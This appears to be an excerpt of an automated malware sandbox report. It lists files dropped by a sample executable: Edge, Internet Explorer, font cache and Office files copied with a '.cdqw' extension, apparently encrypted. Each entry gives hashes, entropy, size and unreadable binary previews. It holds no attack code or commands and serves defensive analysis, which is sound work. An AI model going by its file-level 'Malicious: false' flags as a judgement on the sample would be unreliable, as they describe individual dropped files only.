SHA-512:	CFC2E779525C229B6469F6C4521852D949C4307CEDD927841DC2046A5F59D0B79D6B63B6B98239E755E8C7EDB530D67E2F9183634DEE1BFA366696C200951B7C
Malicious:	false
Preview:	1,"fu.....1...v......-...Y.a",.........a.c.~w..g=...w.v.DB^..9......@j.R..\|......y..=...qX...a.b....=)u.~._..!s....S8.a..(,\.:_...fN...]......=.....q...7X.B..P..^..!w.p.O...8...Vp......uy...'......~:W.....AR....yeWi.z..\|ZAwC.}..E.:....^....Y.%X..:[...o.:f?....tn.$......}.q.pA[.).dP.qT#.9............&H.M+vn(.%.....[E.... 0.....,....\|z'MMm.>8]].c..^.+.O......W.'.Z8.\|]jf..fr2..Z...i.o.....%.&.....A..8\..i.Q../.T..1$.....E..5...w".;PM@z.4.-..J..2......D^@.9....g^.v.i......'..D.9.....9..2,s...Ac...q4(4.."...K....6x?./..\|p.........#..k<!.~....{r.;"M).t.W..r]..b...j...g})!... ....J...m...^w.-..cU..b..H.....g..[..CF...by....h.&. ...H....e[...Cc.....pHW.L...U^..5.i..{.....-.S...O..Q.-=.w\|S._Y.U..xx..v&7+_KM.Ho..j4{..T....gcv..Q..........+Qp...<xXy8.J.......u..'L...z.P.W....H.......{..c.!.}._A.busV}.....?U\|9....C..TZK....3)u........^...5$d.....uo\|.n.Uz\|...J..j.9;.Y....BC\..4...XOgjL.C=.2.....0...C+.6...K......0.N..\|.HO.N......X.M..M

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\LocalBridge.exe.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	7.902786140919471
Encrypted:	false
SSDEEP:	48:o6R6e1ZPTtN4Kt1L7PKT1cMHRD351mPk5OiePBhAlhusD:9Ye1ZLjZt13iFD351+kBePshuI
MD5:	9F9C4B58497355FA68C3DD261C959E02
SHA1:	CE494738AAF7AE25E3D26885864E25BFF9F2D838
SHA-256:	2C2CFFC9B6736C504F6A2205B7C69C4C60F148FD28653118737782AF69440804
SHA-512:	D2A39DD952CD3BC572A478F8F5C1699A215A223512C1DE9E1D2E721FE67711FA39B0A8A8A163F4A388A1CCC5111B4BD39DD2E65C9D397022E9E137833A2721BC
Malicious:	false
Preview:	1,"fu..D...GA.z..xO..J..6_.'\|....3..%.,...A^.Ct~>.y..E5.L..cZO<..J9.2.Z.Jv>...}..L...G...h....Q.!....BZ./o..1...1.....}...k.l....VT.#.:....N.YE.6.t.lh\.....YD.%..uq......-..9...U..1.i.D.K.u...5........O4../...o....H.@...[d...O.HS.{xT.E.W....4!.L..N...]A....^..0J_.[Vq.....=G..D..S.. .ub,...Uq...ZCW....;;....,$)......._aR-...k3..v....h?OF.b..B..!8.i8#qj...G46..<..'..}HQp$....O....j.f.. .^oFc.qc....nK..e.._....3I....['......O{.k............{zm.j\...v!....0w~v..Dm./.$...U...O...2.qc>.d.y..C].\.i.c........F..Y.<..77Q.....y.._\|I..b..x3.\|........t..K.7...S..9..b.2oV.......%..Ob....O..U....!.&...+./:FM.D..%....M."km.N.^.Cu.R"...i94.Mi.;.....>.....i..q..4....S...y...m<.^...h...+.o..C.i.)]..n...2zq=...l.A.h..!.e..4.J..E6......0..E...^...;..u...w.Nq!?7.{..h.u..X4.6..\|.i.'...d...$...V..5A@]1\.:...u.8Q...,.2.R.y\|....&..f.g.O9...&.@..].$\.$..2r...T.....X#...PtZP.4[....H....^<..vX ..m..._I?l.Z*rF..b...M._......i^.w.n...Q..e..p..}.....~JfK..Cd...o....

C:\Users\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184826861035385
Encrypted:	false
SSDEEP:	3072:+S8g1eY+aHFblPeGAXoIuKSOtq1NpCGvp5QpNDiDLGQ:+RA+kblPeGA45/NGPjQ
MD5:	AC59F871DAF9A76C4FAB28A0ADB8148C
SHA1:	2175BBD615F1B09726E1B7D8D17003F8F4EEDD80
SHA-256:	740A8393AE9EB4B76832CA1CDA86F5C7EEAFC7B86EF0C34C69B938EAB0DDD376
SHA-512:	933B376C88F05DB1C6A3C400147B8D660CCD7D8CC4F34E07CFAA3C9DC4543F0D2B5B67C368DA856C7ACDE0E23FAA2F4978B8C461A764F44C2C2B5332FED59B54
Malicious:	false
Preview:	.....n...>.pc.....'.!.(..i8.a.Bb..%A.&....y.XH.#........K...i$.O.....q?.jL.M.......E......../..,N.1.....O.Z..c..w.^...-.+I.... .=..........Qt..Kr.v.C4.....%.).~+#._.~...n+._......Hm.p.X1..2.....k...x6..^i....f[F..@.}.,...y]PJR?T.r..R.... ..AP..G.I.3.[.-.5..`J..'n..]...w.\.......1...;...!9.7......8..L..%.;2.%........9O^'.l.Qdvf...:V...h;..^.Z..=..e.s.X..&..X.Vz.....q..w.l.u.7....).8Yd. >...i5...`.F........M....4...1..~...v.'b.h.L .....m_.eIn.......N....NftC....a.../....\|.E.....a.v..>,S-...C..M.2i..Y.... ..8..!9N.`\|8..i\9....t.x..]%....,.....fb.o..%.K$./.9...^..]....E...T~...>..K..lG..}rm.. .4z..4.}..lm)...1R.E.B)......?"Q.1I..EU.\.d.p.[.......xNN4\|2..a{=..=h.(.FO...J..lJ...m.....7..lx.$.zI...f...H.dQ:.;g......B...l;......R.9{.......8..m...o$.Pz..9...>...,.a.y..p6.Q..)^.....g.N..}..E55.@.....9.....5..m..H:.c.P.Y;.=..'.%....g...Q....3.d.....1x....A.h...Q......Ai....M.&.+.NH.bb.;.~./..p....9..J..\k.........b....*d}.V.>.V..VD."_..$

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.9170720804184
Encrypted:	false
SSDEEP:	48:afrBM5nEd3o6/44J234x8vVREYs0EcquD:uC5no3zgk234x8r3vEQ
MD5:	0ACD9D153C34C5BD7103C91D2DE63610
SHA1:	14C39D14DFA4D93B5F65715AA009C3076141FA22
SHA-256:	1328740D82730B37A36D664EDEC1EACCC2AF851449D8AD525241C8271932BD98
SHA-512:	7AB9993F69D69F17D63AA2F1F36B3BF51BAD2EC2EB4C892732ACB8F61331610DF9DF4C5437ECD0D1EAABDBA4B99A1FBCC83CDB3D4BA72D660EB214C54C67D669
Malicious:	false
Preview:	<?xml.....?e.../[....V...)[T.J.]8...l0.eX...z.....Ve =.V...d.yh.1..%...D.b...1...vz..!f.W...."U2..2t.....\.2..".$.+.A...y.....3r.......S..........4V..f..ao.oU...I.]...2$.O.f..kM.OO....i......o.ic`.k..h....7i..`........2..J..C....O <.=.Y...<`.m<....dug.e.{..b."...Hb..1..{....L.q..j.fAZo..".i.79..z..L..u......._.NV...+/.vi...W...^....D7..].7S.m?q..'...].....DA.u.NwB..Pv..K..R......~".!.X1Xkt._..w..".....-&0z......(....@....\|..U..N..c...3m.^..OS.W....2...y.2...Rz`....].....E{..Yt.%..:..;..j!.......;...]o...^.f..G>..L0...g..(.>.6vz....p..Dv.CS.!....f...F7.U......&p\|>...+.b....N.......?.....1...=.x..G.o.e.y..$..#.R.....$.A....>=.Z.@.%J.q...,\|......+\|\@h0.7_....TsP%..&..f.geMm.#Y.\|..+..............y.....UrO..gy..j^...6.N...%..j.sd.c...LA.?.v\.....\|...@...........<F...'.q./..K............<.....eHX..S...)IX..9Tr.\|.....!H..lAa.(...\..E'=.f.R6.N.4.Q.......u...A6zh....W]P......P..a..7.;=.a.DS<.8.F..F..g-.l...R&V..>.`...V...u

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981549794516906
Encrypted:	false
SSDEEP:	192:Dsh5/P0Qn/2Pxxf9qx6fComGj/7yvC9YpKtH5HAEcQbXMf+3dBh:D6/PB/2L9Koxj+vm7AErbcf+3dP
MD5:	9A78FE459967A18B74244B41A5A4B822
SHA1:	9B99D3A6C25795EC407A35510BF819D29F6B4BBE
SHA-256:	070365AD835DA5CD74AC089387F2692B5005B64896B239E4D9556A99F0703AD0
SHA-512:	52512993CF3D9C76B416F2EE828FA1AE183017C8E1FBFE848B8BC12C549CE0C48E04DDD588F0E9AF1F45F297ED55037BC59DA55FEA9167B6B258F69275F8C862
Malicious:	false
Preview:	h..F.".._...+M.HUk...R.?..CT...Fy?...M.`!.P..9.e.....+....E.9..Q.l.~/.1...\|D]..1.I.8.I..+>Uh.E....1..,d7.r...;J.....>..{..\|_q....j....`.L...<..et.#=$.2.1"M.e..... ..A...@...f-.T....#..R.s....N..W..GJP._mj......K6...z..B..IZ.=.$..[...=.z....f6.k.B.j...H..p,(?d^j..n.{.6..&.>...j..F..g.-+:..H@.9...LK.T.;...]9.:N.4.[K....fI..2..qS_qC.....s:.u w.b..)......>...%V.c.)...^.#m..%.6w.2RI..Bm.k.[...1....i,.\|M...g...[.f..6<...N....o,.HO6=..p./.......i...@...(..,..@m..N=.~M...[.V.....;...B.7....x..K.k=.9A.W...f...vI....}...bp.:#.gg.E.x.....lD...g.....X...Q.9.g...z.P/ ......}!...3.E.....n.\|.'V.*...f4....Q..3.......S....s{...jXv..G..J..=..a_\|...!.8.........0'.....x_.P............+P.Jx...VMy.?....&..1.]...-)kXI..Iz.C..!....... .....h.],a7BU...d..yA.....w...j.0...Y....my...........?:h.8.....p.~...J,...$)..V).<.}\...B...K..u....zf.[.Y......?&...?.1Q...Y.+..0.Ku!....m.Lp......5..f.5k........;.......G........zK.....~...k.[".M..j=.9QJ)....$..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.963632305927187
Encrypted:	false
SSDEEP:	3072:O8M611y+lxu4XeemAHB+1H2fjEO5QGTJyJyrsGyN4trmou+O/rPVvYRrDV17i+wJ:bM6eQk4IX1HgjEEkJzGXu/TJ
MD5:	38B19FF0DC37479A05DE56054D40AB7B
SHA1:	4A67D188A4317DDBFD00ADB814BCDA55D4CF8A1A
SHA-256:	7157939F03D9AF16357D9341101E51E48E774786BEA22150A7D4EF6381AAED30
SHA-512:	7901F1D4A1641A4CAC626884A39DA034F5DCBC6B632FBA3508267C860A64E93D92D9FCCCABD22F2D864FF7AABFD10C9E04CF3E115167D64EB41B19B75F9A449C
Malicious:	false
Preview:	.._.... .j........../.$o...X.....e.b.=....pw[_.vO^.:.+.[q"..5.......\.{...6./..!....[.>5.J}0Zw._. j\.<.>. ....XW..i.......\.W.......1_{..izlv..#..H...Q..L5..z(q.VTM..B..7.\|...0.{.B....m.~.w.h.N..\|O..K...7..Z....S.....xQ..v..rh....{ .Y...".FUC.u.K..t...P.Z.k9.r......LBRM+...e.v$[u.b..m.%.\......a..-._g.t..O..{.....37.,.....p....z=....wL....Q'...ca..JN...-...:{P......R..E../..0...<..+.......6...@......HL..).$..`......C.]........g.}..j..I...-.Z.^}..U....J.Q`.Ke..\|.\|ue.B.Q...@....../{F..h..))E.3.(d....y..+e..m5......{...B}...]9.N....R..G...]x_.6j;.../j#.]..F....y.Oq..!.#Z.0g.ud Y..q+-C..~../.4\.g.,...GK+......K{)...c..j.k..$2.%..w.TN....F...t_..pt.F.............f(..-..l.....jC...w.%a.J.9.0.8T#....q&..RmDi..`vR..c.r.R.L.1I..Oq...T&.za..j.....#..h.8.z@.y..N..K...M..VoB.Y.Yd.n.....J.~.(..d.Ph`....S.X.}..5........}......^.))\....8....].M.....p..].......I7..\|..Kg.xE_0..".9._..UH..>......L.. ...w.e,..x..w..Y.2.P..ovV..,.....lXy..#..u.....Qv'.....\..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207023854122014
Encrypted:	false
SSDEEP:	3072:P+HKsdk4pnU6ImRQrjfP9vieTj8hU/lsYnCwwIVfE+FcQdK/LJl9v:PhsnOmRyrP9q48EfCzIxE+Fcn/9Pv
MD5:	88D0BA4CA887B2EA58F13A87451CE1D0
SHA1:	5ACCA9F48E2133F03285FAB28ED5EBF1C5AE7AC3
SHA-256:	477EA64FB4FB1AA60CEE760A6F7DB32C8577FB0F8810F1A5FB82EDDCE50DE30C
SHA-512:	16F074183623507EF0733995918EEA06D24AB44D19B4FAD3FB25E855447DA416F521A3732E74E5E8785540625DF7728CAA1BC970CCF3A5907916DC54776E76E5
Malicious:	false
Preview:	.........U.yo;.r...S>Am..}........V.0....+.L.E....-.)X[$........<.DW.Q.W.I.........r.3..?..{GQI.nI..p....nWBV.=.).....Re.Ry.L..u!.......37.I..7J...j...:.^.i.....m..%....\C.....-.y...~>_..](s.A}q.\|c.......w.P..?...vSY.I.........2....{._.I!(d..(pRZ.<'.O;..`.s.:(.....\|......=..P..~......>....t_.....e.u(Q&.....qL4......p.;..\m...=..s.#+..7L.!.....n.....`.agJ!^..q...^u+>Z.J....&.f....4.c..r.`....N4....G.>.=+.}.h.......pECRN.....u9...e.)P.N....\|....z.-...H..E5w.L..{9....j....7=}j.B.z!.c..En....4w.mR...8..O..{....6..y........W..$D.g...G).YR.bTWn.^......v.x]...1I<..S.2..,..d..d..-E....I......0.Gv.h.H._..2.og..7..J&.;..(.~....;sB1/.g..X.w....jTu.w......A...3..=b,.Y.n......q.yk.H?..W..{...$.j..LOz.T...8..Xt....x.N=...J.....H.....(...-...C.`..=.=A..8......(...~....b\|.p~o..0:/PW\|.-V.U.@B....D._...,..~Q.o....}.$].R..'...<G...........M/.FZ\......~.. .f^.$T(....Ljm.xe.7`'.@..........$.o..(.'k_?....).C'.]..9..6......T.L,G.P..8.ty...6."

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2077709993493873
Encrypted:	false
SSDEEP:	3072:xnrBCfh/IO8ibl9Hpte/1FTfpQqyRL/f8KJEhsx8NokfYL:XYl7hHptYTfQRL/pR874
MD5:	B99B262026F7A51E875599F37142B007
SHA1:	E0C4D85F857FFC58E6F3B3DC9860DD140DD0B4B7
SHA-256:	9CBDFD08532D150191F6F2341B9F0257A0A4171FEAC0A36ED9E38177CA1B0643
SHA-512:	092CE590B51533DEED2A9C2E83508359C99C9CB6822B4B4069C30D88A0AD805CD5E843F53C05DCFB2594D2D7D6E19A18B6C22B804286AC22269F62633EE968AF
Malicious:	false
Preview:	..........mL..".l.VI.^F.S..j..s.o.}6ew7..A~.P.....-<.../S.N.},....3..R.v<..[.T..).)..C...H\.g.....;?...r....FA..w.....j..O.(....;.o...4..>.D..V.....Q..>.h.....U.=x....j.../.v.]t.C...R.8.N.Y....<".17.F...a..4N;OfN.B.;.........\]..\.j.P......8..]A.+.%E@..(....B\q.x.."_../<$.h...[9.j.SH.....5.Y....6.F......@.>Lo...4.2.x3...2s..,.9Yt.(.j.a4.R\|...f..N1.t[T..K\..Q~.m..)7..8.......{........7.-..........]..TD\|0B/..." .t....H.....X....U..,..F.su.L.......D.X.&....k.+I..E..2jQ.y`..,%G...........,........O........nz0..6,..\|.\1."D)......\P.....5E...6.._.*c....!..W8+...U`..}a.s....nSk.JD....T.y....Mn.)oVi.......h..r+[rG.. .P..~....kG._mU=.R(..=..x.b....>..xk..^O...a,.77Gk09U.lmt...[..U..8....p\..D.."...#..q.-A;.K...l.Me..dXggTx.O..{..Q..,.m..7.G..W.M[...;zmI........U....b..KMq...B..Z.....@....WE.x.......J...F.4.E.^.Au....vC...i.}.<..LW.:I[.3P.MF.\6..e/....#$..I.i.....8.<....[.%..Z...8..?U..lfv...."sf.9.\|.U...!M..."..........iQ..V&..<.iq..~.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2072891105710144
Encrypted:	false
SSDEEP:	3072:05U/YLOAnNJzR7xR8KSup6KpOr2J2vAT3I/cHzxfv0:J/YyI97xqN2JlI/cHlfv0
MD5:	30D3F1A30544038F640ACC5C501AEAA7
SHA1:	216148C081332D84FEDB3F6C42224973EE196BC5
SHA-256:	F05D52E85005D62AB2E0314A533987494DCFFA9BA5864DCE0283BA6E0C360F6A
SHA-512:	1B64539B876A9AC355E0D70B98B5629DFF69C7D945D1EC0795DE25482D7B8967FE79593C124DEEC66A84137212B2118F9532CE27E4931770884BF966C5E2A232
Malicious:	false
Preview:	........I...O.p..yJU..!).#?{HJ...xG..<...(....B.5#R.-.~.X.ZMe....@.(XZ.=.P@.Q;A.f\|z.~.L........Pp.........B..0:+...9..>..H..D56P..../........a..5..'.{....).....X..eK.....K....T.r..%....&.....}..........${.......l.:..7.O....i...t.-..._M.P........\..I ...3.D...N..s...'.wm.......;.....+...(..Q.......&.MGCE.....-................u%.......0..E.v}B..r..Z]..........(Gha..r..]x..q".).Ee............j..P..4.G.....B.`.......'....c5e".L.K...y..fv.D../b........B.w.c...^..qN$.E...k.B..w...".moGV..n..i..~<R.&./...`....bG......]..9..,./1.C.^..ND.....D.}su..CN.....A.......B;.d"....S3.T...86'G..w....G.....0T....<...G.p8...%T/\.v.&\%O...7.......hb.....a....m....R.Y...@`...{...hL....h2D....X...K..^.ZB.~...].g.kKF8..t.=.G.3..U..\Z.c.c{]d.z...$.s.......<.J~E...Q&.[.l.........-.\......"..u.e...g.G.#.f....Q.IQS!M!^._.Z../1.. Ra..G.. .KMN.....M5..I.A..].......^...t.G..5...;..^....TE6I..U*..e.j....N0c.?.d;c.4..]O.B.#..bL1..f....r;..Y...o..c.......

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.9458484008944374
Encrypted:	false
SSDEEP:	96:q6rIfnDs440ifJbLf1VrTwXhhlMi047iGGqR:trenQ4/YJ3PEfz
MD5:	9013FADA0CE4913A4B5A80DBFFC0C195
SHA1:	92856539DC60F57424FCB6A405C39B9743D25845
SHA-256:	10A044E7B84F8A69007B6D761C4A26705FA33F57A09718044D9851CE7808D452
SHA-512:	3A64FF6669BDB9CA47AD58941822B8696AAF25E3BDA81DBE065F6F618A4346184E9203347F8A55E00872702ABF1BC9E81E7DE08F386082CD7F6D8405BE44A574
Malicious:	false
Preview:	<?xml...(...s...+...L+.&.3)...........^A.3.G...U.:..@...%J..<.YZ...c....;=nn......U..$......U.)E4.]p..k.z..Q.p.>..(......-....j...,.....g....r(.../..E..s...hx..Vr.......;.....M.......b..\.%)obL..[k.T...=..e..\|.B"R.#...<..s..........4>..=v.1.......L......O...)..f.......o.{......N....[..R...3/.....ny..;.)\|.......!..z..Sq..F.......Y........]S.t...a...fan.J.K.X...\|\|....@(.V..<6E2'....h...<.G\...{.k.I#Dps.J?...#...<.c.............F..S...4....5..0....E.3.2..sa.`...z....1.........wa.!.r}Bk%U5T.W.............T.r.9.8/..D..N....~..`..a..b..P.....kt...&......n...t..-..F....9.\....1WCE=...@.Z.S.\k...!l....s.._y.}0..n).....3S.....i..i.=.....d.. B6..d.....qP#../f..G......".C\| .ac...37=:../7.#.K..T.6 ...gF.R..4n..,.J'P.[.&k_......I...a.......g.&?.h...5..}{.gH.!&T.6.............;B.da.V.Z.......1-....O$.K.J..l.%W.0f.I..u..#....$...x......K7..H...4.@../.....*..QE6.....(ASn.ro.. .2S.H\|.....{`.w.$..+E}Y.F. cX0i....TIg..Gz..E..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\brndlog.txt.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	6909
Entropy (8bit):	7.974305814625818
Encrypted:	false
SSDEEP:	192:eaqgGSDUIUtZBx5QHSgMcbq4YSg1Z9GD8:eaqdSo9vZQHX+jSgjUo
MD5:	DA5996879583EE181E485080E3C7FD76
SHA1:	8A8663E73318E82DDADC40A0B6FC213BB53C77FF
SHA-256:	F241E4375AAFE20626789F7E2A117E10E3B9181F85A956D1A8F2BBA9FAA4E33B
SHA-512:	4441B4C8F5BA77F36A4B1491A5A1760E7BB0094610C415FA2E60C4EAFEEC62F5412049ED2E631345B90839333927526F65086EA4D7B93EABBDAFC8FC850B9DF8
Malicious:	false
Preview:	10/05.q\|.....i..r{.>.#.....(..d..w.._a..m..?U...UV..P.. c:..Lu/.".......''.)..H.f._)B.}.;.w.sx~S....2js...?...aW.V\..T..V<$B.i...1_..mU......ay.I....N......x[...4.v2Y./Y[.......n...z...EJ.[..........K.@..g^..~........'>..^nI!...6[A..b...\...m..v..,.. .HW.Z...w7....!S.....TWQ..E0.4g.....b.^.N...U......e..u...J.A..+;S..Z.h......R.B\%.."..Q._......&....l".s..Z.S.Kz..)....T.>.. 8..z.b...S...<(L...$........e.......`'4.;O.fr.......".::...p./.?..\iF..~........q.^..c$.K...A'.eV.(.;7...Z`......O.l.+5.vl..p..<....i)....$i....E..$4...fR.u&c...V',@.....(>..wSq.8<..(.B.l.b.\|.....Vvf.^..\.} .....6.Y^vz..$$....}.z.....?...e.5J 8"..M=."J..?@y,.c.8.........m....W.(d.!...Ec.?:w.P.-Qe1..l.R...ST......Q...E/.(.x...6.a.S........K...'.V......1...fD..!..e5.W.tQit....e..H.....MG.m...4lT.%...jX..?.1.. .7R.c#..%...7..'..-.'......."....)..Fbi...\.2{....iD.'..?.1...Bd..m...o.i..%G.>oG.#.~...!......F_.%)...uw...g.:...g>.>x......o.....N..p.m...2..DbY.."..%....'.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (337), with CR line terminators
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.794194301097701
Encrypted:	false
SSDEEP:	24:Q5Lju6Hh3miFBafcl32HMt8M9LZy0kP+dJVN2bD:MLju6Ba62H/M3NmD
MD5:	DA39EBCB30A1E186DC266F4D583F8A11
SHA1:	5D0089BB697CEF56BEE6FBC3638CE592B5AB5462
SHA-256:	6821D7E37F54ABF0927A6E9F4DAA064756B9529EB597FE5783EC4B2F4B9F70C7
SHA-512:	7EFB02A6E67903FFC6E89BB8216E4D677D1FAF316BB58BE7B5156036B7617DD2E2C1AC1C39DB500CF8780AFCEC9A5D5B2EB4EB2197F1E05D88308D5305B50555
Malicious:	false
Preview:	..1.0']...j.lf.~.B.iH..Bn..O/..V..>..-.."..B..F......j....sl..Kz.].$....e...g...wJ.B.R..e.'a@.U......4..uH...o.5O4..9p\.:.#j...}`....S.N..`..G.....8z.....{:K.yi.....n..b]..`.Z..G......f.=.=5I.w.R..\|.....=...V...._7..<.J.1..Gf&.....e..ou..1....!F.W..\v.........,6P..$pF.(i.I\Z.=..b.zz.l{ka?.g&...J....h7).e.....(.,.....i...+,`.)V..fc...kR......tu).Z....!.r.._I.Y..."..\|[.LA;.r..O5..(........M..._.\|G.6...x..C........5.6.;.HF4 ........pFH..Bt...x....o.J...[.(....z...OF..kxD$9....;O'O.T.bgAi....ub.2O...[.-.*B.MK.'.b..2R.....A..C5...........3.)5t9...H.%.(......D....p)...<.2.u...:.].F..;.....[{..$.^k.FNG.5_.....v.J...y.g:..yV..^.'..+.....!.....]Sy.L..z..R0#K.rb.<.P.Y..<..b)..V4.[(fP02.z9.%...w.=.p...m..vW.j..R0....\|...W_...B{,..h#.....LA..G.i.Y..x..H...9.V\.E5.nu>nU6...Y60.... ..h....?2.#..?.i....:b=L...\|q.D).#.c...& .....B..C...3...s.3.....<.p.E.21...8....r.b.lY...{...`Xb.3...=.#.-..gwsbQZ....A.,...j.._X.@}\|..Ht.3....:.(}.....stl.h...g^.?.A..,.......

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.9013814731835295
Encrypted:	false
SSDEEP:	48:310FNLTOFvGo15Qe4dn3jNpjlzUL4P8laE4D:31+LTW1P+NpVT
MD5:	0A92C1E1AA621824333357BE8F1C9EE3
SHA1:	11C10D11337CF161432A4F06B5F4C3AF63E1E970
SHA-256:	3CCDB3E6F9ED7A6F3D32BF8AEB985DB469E214EB830CADF633386779EFD226EB
SHA-512:	4FD5F5CB5D0F459B36F438D0E1986E44A5502AF0214D187A6B977A05F411B5A787C5CF3CBC1B1D5D61D8C3C195A1198E5B1B0A921E813E1322933E524B39DEC1
Malicious:	false
Preview:	..1.0.....f-..}.+.#.a.7.'....U.`...3..].?H......<......u/ZDhdbn.g.[p...(b2(..K......^...q.Eb#S..:..\|.N.....dt...$5..c.n..W.~u......._8(..gdD.S...E ..o.....y.z......b........K...^<..#...U.D`..+.}TXDN.{p..7,C..d...J.f..2.R2%.....<........8..W:..+(..Cy=...DW^......2P,\g.......).Q1^.}.....o.$rq..y.G..[7l...CT'...F........i>...R.{..g..u.m......O..>.;.........i.=.P<....E..%.....[.r....p.T......xt..)2Vjobz.L......,.tx./Tn.W.........].F......R.~...^...[..(`...~9.....7...\...B.W... .C..!..$..;8.OvR..zH.......s.r%./.O...u...^..Fw.eV....AK..E....@....=.i3 .8.p.a.o*.3.s.9F.SN&8.v.. !j.d.]..T.......^.]0&.ji..\.]5&%..J9.w..Y......D...F...4....~..S..U.......$C...-...rb....\...m...5H.Hr8<..:.u......[.\|Q.q...cX1.QLeI.&....=._S...i!.QC..L...t..'v.4.4.1".....}..`....uf.{..}<...R........5...........k+..Z. kr.>p.......o.....}g&t...&.b...vx-...jc..^.c..Y(#..o..N!...<"4.7h.j.LYt...G.;.D..v.h..[Z....8..%W,."Au.?D.Y'].!-.yr.?..-..>k..4...7M...>.9B..t...(..[.3.Z...VQ.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.5294276056478715
Encrypted:	false
SSDEEP:	12288:a/ss/5TSSFQxdXSZlV0N8x5thr291gess3TylunXB:ax52SaxB
MD5:	BEFA436D1FEB9EE4D72122D02A16EB3F
SHA1:	54860D2585D2C15A76812A5BDEAD0564BD3F7958
SHA-256:	5139140CB3FC18934CB0E9CE56F3815602E59EECB81D672B392C05BCAD69BE8C
SHA-512:	88BA1D8195085C5F32CA7DD7F6C6A013D28F766593F6AFFABC9DF9FE08BE73D0FFD2F41B0C06DB0B45C449C754504CD6694F250D4922825B0FBCBF2203D9D8DE
Malicious:	false
Preview:	<Rule.Y.._.v.....X4...t0...\..TI$...&.[^...9D....$>...Im...Y8^W.U...O..L.5&...y...r9.....\.Dx..',....&`Vd.+B.6yO....`.<...2`...L[1k.....vz`...y.?@.Ty..Q.....u.$w.8........WWY[.b.w,.3...\|.;x3.6..i...."OA....l)..."...2.+I)j.1...X..[G...~.DH......c..c.>2..l...P=.[.9.K.h............5..<..O.q.y....T..2....`Fi.4.SK%....o..c.2.I1a...=. ....G.kB>..g..I.4...G...?...C,.r.%..1..B..4..{...`?...j.r..0n.d.\|.h...%...d.F.....@.d!.A.......Z8.j>3....kk5.8t.....>.~A...5.eLe#.f....jkn..ol.5...[.;.v.N....EO...,{=Tet.J.. r..a.I..A../.?X2F....z.;;l. ..jz\.r..[......5..S...&\|t......B.\.Q.N=..mw.R.{.{d.H........@..N...p..8......t.P.AX.._/?.f.D...O'G..G...h.=.+9.+...z.-...H3.]...Z.Q\...}I.....x./B1+.......5nw.%...g.....6.XDRF.y.,...:.r.O.........:U>..d5..I_.E.......d.t.....eQa@!....c..1.........k...ICn.&..........P..y...V{V.......Y.$... i......:jN.Q.1.xqb,5.L*.+Q.Z.0y..Y`....g....z[.a.$KqVd.o..z<......vl.13....T...{.=10P..:Y~U.G.ZRE......~}..V:.h.

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.513437739227184
Encrypted:	false
SSDEEP:	3072:mFvxDnaCeqoUEsx3NDzPOsRjRoyUTVxtnsAlJ7Fm:mFpa9q55x3N5RoyU/dLo
MD5:	F6E83DF8436E90A8D9D961BF87F188FC
SHA1:	89489459CBD49DF4E131588F7EF16CA217782B4A
SHA-256:	EC34846DC3FEAA0A1C16D210A57E5E5010D04B96E8309A550308D9ACB4A4FE0D
SHA-512:	7FBAE0A466A965CE2A94AEA8805754E030F374577132DC5EF50AD54FB91F0A4DF54B2D874B89146520BD4490B9DC990D55C08998006009B305BE74B7491DC5CF
Malicious:	false
